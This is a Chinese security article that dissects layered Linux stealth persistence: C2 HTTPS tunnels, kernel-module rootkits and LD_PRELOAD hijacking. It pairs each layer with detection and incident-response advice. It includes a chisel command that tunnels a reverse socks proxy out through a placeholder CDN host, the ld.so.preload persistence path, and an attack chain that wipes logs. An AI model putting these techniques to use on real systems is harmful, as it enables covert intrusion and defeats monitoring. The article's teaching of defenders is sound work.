三层隐蔽持久化拆解:C2隧道×LKM×LD_PRELOAD

admin 2026-08-21 07:00:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文从红蓝对抗视角拆解三层隐蔽持久化技术:C2HTTPS隧道对抗网络侧检测,LKMRootkit在内核层隐藏进程与文件,LD_PRELOAD在用户态劫持系统调用。文章分析了各层原理、代表工具及检测对抗方法,强调纵深隐蔽设计思想,并为蓝队提供分层检测建议,如TLS指纹分析、系统调用表完整性检查等。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,安全运营,安全意识


cover_image

三层隐蔽持久化拆解:C2隧道×LKM×LD_PRELOAD

原创

8月的雨 8月的雨

赛博57库

2026年8月3日 05:00 广东

在小说阅读器读本章

去阅读

| | | — | | LINUX STEALTH · ATT&CK DEFENSE 三层隐蔽持久化拆解 C2 HTTPS 隧道 × LKM Rootkit × LD_PRELOAD · 红蓝对抗视角 |

| | | — | | ⚠️ 禁止滥用声明:本文仅面向授权环境下的攻防研究、红队演练、防御体系评估与安全教学。文中所有技战术、工具名与检测方法均来自公开研究资料,用于帮助防守方理解攻击者思路并建立检测能力。严禁用于未授权入侵、破坏、窃取数据或任何非法用途。未经授权对任何系统实施上述技术均违反《中华人民共和国网络安全法》及相关法律法规,作者与发布方不承担由此产生的任何法律责任。 |

0x00 · 引言:为什么攻击者要叠三层?

单一 rootkit 的时代早就过去了。攻击者面对的不再是裸奔的 Linux 服务器,而是带着 EDR(终端检测响应)、HIDS(主机入侵检测)、NDR(网络检测响应) 的纵深防御环境。只要有一层被看见,整个持久化通道就可能被连根拔起。

于是高级攻击者把隐蔽拆成三个互不相同的层面,各自对抗一类检测手段:

•  C2 HTTPS 隧道——对抗网络侧检测:把命令与控制流量伪装成普通 HTTPS,混进 443 端口的正常业务流量;

•  LKM Rootkit(内核模块)——对抗内核侧检测:在 ring 0 层劫持系统调用,让 ps、ls、netstat 全部”说谎”;

•  LD_PRELOAD 用户态劫持——对抗用户态审计:在 libc 调用层做手脚,隐藏文件、进程与网络连接,还能顺带清理审计日志。

三层叠加的效果是:流量看起来像 HTTPS,进程列表里没有恶意进程,文件系统里找不到恶意文件,日志里干干净净。任何单一检测手段都会被至少一层挡住。

| | | — | | 💡 本文调研的公开工具均为真实存在的开源项目(GitHub),文中引用其 star 数与能力描述用于技术分析;三层组合的攻击链在真实 APT 活动中均有类似变体被披露过。 |

0x01 · 三层全景:各自管什么、对抗谁

| | | | | | — | — | — | — | | 层级 | 代表技术/工具 | 隐蔽对象 | 对抗的检测手段 | | 第一层 · 隧道 | chisel / ligolo-ng / Stowaway / Sliver | C2 通信流量 | NDR、防火墙、流量审计、JA3/JA4 指纹 | | 第二层 · 内核 | Diamorphine / Singularity / KoviD | 进程、文件、端口、内核模块 | ps/ls/netstat、Auditd、rkhunter、chkrootkit | | 第三层 · 用户态 | vlany / Azazel / Jynx2 | 用户可见文件与进程 | 手动检查、文件系统取证、lsof、strace |

三者的关系不是简单的”套娃”,而是分工 + 冗余

| | | — | | ┌─────────────────────────────┐ │   第三层 LD_PRELOAD 用户态   │  ← 挡"人肉/脚本"检查 │  hide file/proc/net, 清日志  │ └─────────────┬───────────────┘ │  execve 拉起 ┌─────────────▼───────────────┐ │   第二层 LKM 内核 Rootkit    │  ← 挡"系统命令"检查 │  syscall hook, hide pid/port │ └─────────────┬───────────────┘ │  仅剩的合法外观 ┌─────────────▼───────────────┐ │   第一层 C2 HTTPS 隧道       │  ← 挡"网络设备"检查 │  443/TLS 混流, 域名前置      │ └─────────────────────────────┘ |

从下往上看:隧道负责”把话说出去”,LKM 负责”让内核保持沉默”,LD_PRELOAD 负责”让用户态的眼睛瞎掉”。任何一层被拔掉,其余两层依然能保证部分隐蔽能力——这就是”三层”最核心的设计思想:纵深隐蔽

0x02 · 第一层:C2 HTTPS 隧道——让流量”合法化”

原理

HTTPS 隧道本质上是把 C2 协议封装进 TLS 流,走 443 端口。检测设备看到的是与正常网站无异的 TLS 握手与加密载荷,无法分辨里面跑的是 HTTP 请求还是 RAT 指令。

最常用的公开隧道工具有:

•  chisel(~16k★):单二进制,基于 HTTP/2 的 TCP/UDP 隧道。服务端一条命令起监听,客户端一条命令连出,支持 socks5 代理与端口转发,是红队最常用的”内网穿刺”工具;

•  ligolo-ng(~4.8k★):用 Tun/Tap 虚拟网卡直连目标内网,流量同样是 HTTPS,代理体验接近 VPN,常用于横向移动阶段的稳定通道;

•  Stowaway(~3.4k★):多级代理框架,支持节点间转发与连接复用,适合跨网段逐级跳板;

•  Sliver(~11.6k★,BishopFox):全功能 C2 框架,自带 mTLS/HTTPS/WireGuard 多种传输,配置 mTLS + 域前置后流量特征接近正常浏览器。

关键隐蔽技巧

| | | — | | # chisel:服务端伪装成标准 HTTPS(TLS 证书 + 随机路径) ./chisel server --reverse --port 443 --tls-cert fullchain.pem --tls-key privkey.pem # 客户端:通过合法跳板域名连出,流量与其他 HTTPS 完全混流 ./chisel client https://cdn.example-cdn.com:443 R:socks |

真实场景里攻击者会把 C2 域名做成高仿 CDN/云函数域名,甚至用域名前置(domain fronting)让 TLS SNI 指向合法大厂域名,而连接的实际后端是自己的服务器。NDR 只看 SNI 与证书链时几乎无法区分。

检测对抗的软肋

隧道再隐蔽也有弱点:连接模式。正常 HTTPS 是短连接、突发、无固定节奏;隧道则是长连接、周期性心跳、单点持续交互。NDR 从连接时长、字节节奏、目标固定性三个维度建模即可拉高告警。另外,chisel 等工具的服务端响应头、HTTP/2 帧特征、以及 JA3/JA4 指纹(Go 的 TLS ClientHello 特征与浏览器差异巨大)都是可识别特征。

0x03 · 第二层:LKM Rootkit——让内核”说谎”

原理

LKM(Loadable Kernel Module)Rootkit 以内核模块形式加载,直接修改内核运行期数据:

•  劫持系统调用表:把 sys_killsys_getdents64(读目录)等系统调用的函数指针替换为 rootkit 的实现;

•  隐藏进程sys_kill 被劫持后,特定信号(如 64 号信号)变成”隐藏/显示指定进程”的暗号;

•  隐藏文件与目录getdents64 被劫持,遍历目录时直接跳过带特征前缀的文件名;

•  隐藏端口/连接:劫持读取网络状态的系统调用,让 ss/netstat 看不到 C2 端口;

•  隐藏自身:从内核模块链表(/proc/modules)中摘除自己,lsmod 也查不到。

代表工具:

| | | | | — | — | — | | 工具 | 特点 | 隐蔽能力 | | Diamorphine(~2.4k★) | 经典教学级 LKM rootkit,代码简洁 | hide pid/file/module,任意进程提权 root | | Singularity(~1.7k★) | 模块化,函数级 hook,可动态配置 | 文件/进程/网络/内核模块全方位隐藏 | | KoviD(~650★) | 针对现代内核 5.x/6.x 适配 | syscall 级隐藏 + 反取证 |

为什么 EDR 有时抓不到?

EDR 大多数基于用户态或 eBPF 观测点,而 LKM rootkit 在更底层的系统调用路径上动手脚:只要 hook 点在 EDR 观测点之下,EDR 看到的数据就已经是被篡改过的。比如 EDR 用 ps 读进程列表,而 ps 走 getdents64——这个调用已经被劫持,EDR 拿到的就是”过滤后”的列表。

| | | — | | 🛡 防御要点:应对 LKM rootkit 的正确姿势不是”相信系统命令”,而是绕过被劫持的路径: – 用 /proc 原始数据与系统命令交叉比对(unhide 工具原理); – 用 Volatility / LiME 做内存取证,直接解析内核内存结构,不经过任何系统调用; – 用 Sandfly-security 的 kernel-module-decloak 扫描被摘链的隐藏模块; – 检查内核 modules_disabled=1 / 强制模块签名(CONFIG_MODULE_SIG_FORCE),从源头堵死未签名模块加载。 |

0x04 · 第三层:LD_PRELOAD——用户态”幻影”

原理

LD_PRELOAD 是 glibc 的动态链接机制:指定一个共享库,让它在程序启动时最先被加载,从而覆盖(override)同名符号。攻击者编译一个恶意的 .so,导出与 libc 同名的函数(readdiropenconnectunlink 等),再把路径写进:

| | | — | | /etc/ld.so.preload      # 全局生效,所有进程都加载 ~/.bashrc 中的 LD_PRELOAD  # 仅对交互 shell 生效 |

于是 ls 调用 readdir() 时,实际执行的是恶意库里的版本——它先调用真 readdir(),再把命中特征的文件名从结果里剔除。同理可以隐藏进程(ps 底层同样走 readdir 读 /proc)、隐藏网络连接、拦截特定文件读取(比如配置了 rootkit 暗号的连接放行)。

代表工具:

•  vlany(~990★):带后门密码保护的 LD_PRELOAD rootkit,隐藏文件/进程/网络,支持通过特定环境变量或信号触发隐藏/显示;

•  Azazel(~800★):Jynx 系改进版,模块化设计,隐藏能力强且带反调试;

•  Jynx2(~180★):经典老牌 LD_PRELOAD rootkit,代码简单,适合学习。

隐蔽的代价

LD_PRELOAD 有两个明显弱点:

01  静态链接与 setuid 免疫/etc/ld.so.preload 对 setuid/setgid 程序默认不生效(glibc 安全机制);静态链接的二进制根本不经过动态链接器;

02  可审计性ldd/proc/<pid>/mapscat /proc/<pid>/environ(查看 LD_PRELOAD 环境变量)都能暴露它。

所以高级用法是双管齐下:LD_PRELOAD 负责”日常隐藏”,LKM 负责”隐藏 LD_PRELOAD 本身留下的痕迹”——这就是三层组合中第二层与第三层的配合点。

0x05 · 红队视角:三层如何组装

以一次典型的内网持久化为例,攻击者通常按这个顺序落地:

| | | — | | Step 1 &nbsp;初始立足(Web 漏洞/弱口令/供应链) → 获得低权限 shell Step 2 &nbsp;权限提升 → root(内核提权或配置错误) Step 3 &nbsp;部署 C2 HTTPS 隧道 → 建立稳定的外联通道(第一层) Step 4 &nbsp;加载 LKM Rootkit → 隐藏隧道进程与端口(第二层) Step 5 &nbsp;写入 /etc/ld.so.preload → 隐藏恶意文件与后门进程(第三层) Step 6 &nbsp;清理落地痕迹(history、/var/log、审计日志)→ 恢复"干净"表象 |

组合的要害在于顺序:先有通道,再藏通道。隧道进程一旦启动,LKM 立刻把它从 ps 和 ss 里抹掉;LD_PRELOAD 则确保即使有人进入系统手动查看,/etc/ld.so.preload 里的条目和磁盘上的恶意 .so 也不可见。

为什么 LKM 隐藏”进程”还不够?

因为隐藏进程 ≠ 隐藏 CPU 占用。C2 心跳、隧道转发都会产生可观测的 CPU/网络开销。高明的攻击者会让 C2 心跳走系统空闲期、把流量整形到与业务一致的节奏,并用 Rootkit 同时隐藏进程和其 CPU 统计——但 /proc/stat 的全局 CPU 使用率无法隐藏,蓝队只要做”全机 CPU 基线 + 异常峰检测”就能发现端倪。

0x06 · 蓝队视角:分层对抗与狩猎

面对三层组合,蓝队同样需要分层检测,每一层用不同的手段:

第一层对抗(网络侧)

•  TLS 指纹(JA3/JA4):建立企业内”可信 ClientHello 指纹白名单”,Go 系隧道工具(chisel、ligolo-ng、Stowaway)的 TLS 指纹与浏览器差异明显,命中即告警;

•  长连接建模:检测持续 10 分钟以上、目标单一、字节节奏固定的 443 连接;

•  证书与 SNI 审计:对内部出网证书做信誉评分,新注册域名 + 自签证书 + 高仿 CDN 域名是高危组合;

•  DNS 隧道旁路检查:确认 C2 没有走 DNS-over-HTTPS/DoT 等其他隐蔽通道。

第二层对抗(内核侧)

| | | — | | # 1) 交叉比对 /proc 与 ps 输出,寻找"幽灵进程" ps aux --sort=-%cpu | head -20 ls /proc | grep -E '^[0-9]+$' | sort -n > /tmp/proc.txt # 手动比对,或使用 unhide: unhide proc unhide sys # 2) 检查内核模块列表是否被摘链(Diamorphine 类) cat /proc/modules | wc -l lsmod | wc -l &nbsp; &nbsp;# 两者数量不一致 = 有模块被摘链 # 3) 系统调用表完整性检查(需要 root + 同版本内核源码) # 对比 /proc/kallsyms 中 sys_call_table 各入口是否仍指向内核原始实现 |

•  启用 内核模块签名强制(CONFIG_MODULE_SIG_FORCE)与 modules_disabled=1

•  部署 eBPF 监控(如 Falco):eBPF 的观测点在 syscall 入口之上,LKM hook 之下,能看到”被过滤前的真相”;

•  内存取证:LiME 抓内存 → Volatility 3 的 linux_check_syscalllinux_check_moduleslinux_hidden_modules 插件直接枚举被隐藏的进程与模块。

第三层对抗(用户态侧)

| | | — | | # 1) 检查全局 preload cat /etc/ld.so.preload cat /etc/ld.so.conf.d/*.conf # 2) 检查可疑进程的环境变量与加载库 cat /proc/<pid>/environ | tr '\0' '\n' | grep -i preload cat /proc/<pid>/maps | grep -E '\.so' | grep -vE 'libc|libpthread|ld-' # 3) 全盘扫描未知 .so(结合文件时间戳与启动时间) find / -name "*.so*" -newermt "2026-01-01" -type f 2>/dev/null | grep -vE '^/(usr|lib|opt|snap)' # 4) 用系统调用级工具绕过 preload 检查真实文件(strace 是动态库,会被 hook; # &nbsp; &nbsp;更可靠的是静态编译的 busybox / 或对比 /proc/<pid>/fd) |

| | | — | | 🛡 应急响应 SOP:确认三层组合后,按”断网 → 取证 → 清除 → 重建”执行: 1. 断网:阻断出网(防火墙/iptables 全拒绝),防止 C2 继续下发指令或自毁; 2. 取证:LiME 抓内存镜像 + 全盘文件哈希,不要在感染机上直接 rm 或卸载模块(rootkit 可能自毁销毁证据); 3. 清除:干净环境/救援盘启动,挂载原盘,删除 /etc/ld.so.preload、恶意 .so、LKM 模块文件(/lib/modules/...)、重置 crontab/systemd 持久化项; 4. 重建:内核模块签名强制开启、EDR 全量重装、凭据轮换、日志集中化(远程 syslog,防本地篡改)。 |

0x07 · 防御清单:堵住三层各自的入口

| | | | | — | — | — | | 层面 | 措施 | 效果 | | 通用 | 最小权限 + sudo 审计 | 提高获取 root 的成本,三层组合几乎都要 root | | 内核 | CONFIG_MODULE_SIG_FORCE + modules_disabled | 未签名 LKM 直接拒绝加载 | | 内核 | 内核与驱动及时更新 | 修补提权漏洞,阻断”提权→装模块”链路 | | 用户态 | 移除全局可写的 ld.so 配置 | 防止写入 /etc/ld.so.preload | | 用户态 | 定期比对 /etc 关键文件哈希(AIDE/Tripwire) | 文件完整性监控发现篡改 | | 网络 | 出网白名单 + TLS 指纹基线 | 隧道类外联必须过白名单 | | 检测 | eBPF/Falco + 内存取证例行演练 | 拿到”被过滤前的真相” | | 运营 | 日志远程集中 + 主机时间戳关联 | rootkit 清本地日志也清不掉远程副本 |

0x08 · 结语:隐蔽是永久的军备竞赛

三层隐蔽持久化不是某个单一”超级武器”,而是对检测体系的系统性绕过设计。它提醒防守方一个残酷的事实:信任任何单一数据源都是危险的——系统命令可能说谎、日志可能被清、流量可能被伪装。

但反过来,它也让防守方看清了攻击者的软肋:每一层都有代价。隧道要心跳、rootkit 要改内核、preload 要写文件——只要在多个层面同时布设独立的观测点,并让观测点之间相互交叉验证,任何”三层”都有被撕开的切面。这正是威胁狩猎(threat hunting)的价值:不是等告警,而是主动寻找”不该出现的一致性”。

| | | — | | ⚠️ 再次强调:本文所有技术内容仅用于安全研究、防御建设与授权测试。禁止滥用——任何未授权使用上述技战术的行为都将面临法律追责。守护安全,先从尊重边界开始。 |

参考公开资料:Diamorphine / Singularity / KoviD(LKM rootkit 源码);vlany / Azazel / Jynx2(LD_PRELOAD rootkit 源码);chisel / ligolo-ng / Stowaway / Sliver(隧道与 C2 框架);unhide / Sandfly kernel-module-decloak / Volatility 3 / Falco(检测与取证工具)。均为 GitHub 公开开源项目,供安全研究学习使用。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博57库 8月的雨 8月的雨《三层隐蔽持久化拆解:C2隧道×LKM×LD_PRELOAD》

评论:0   参与:  0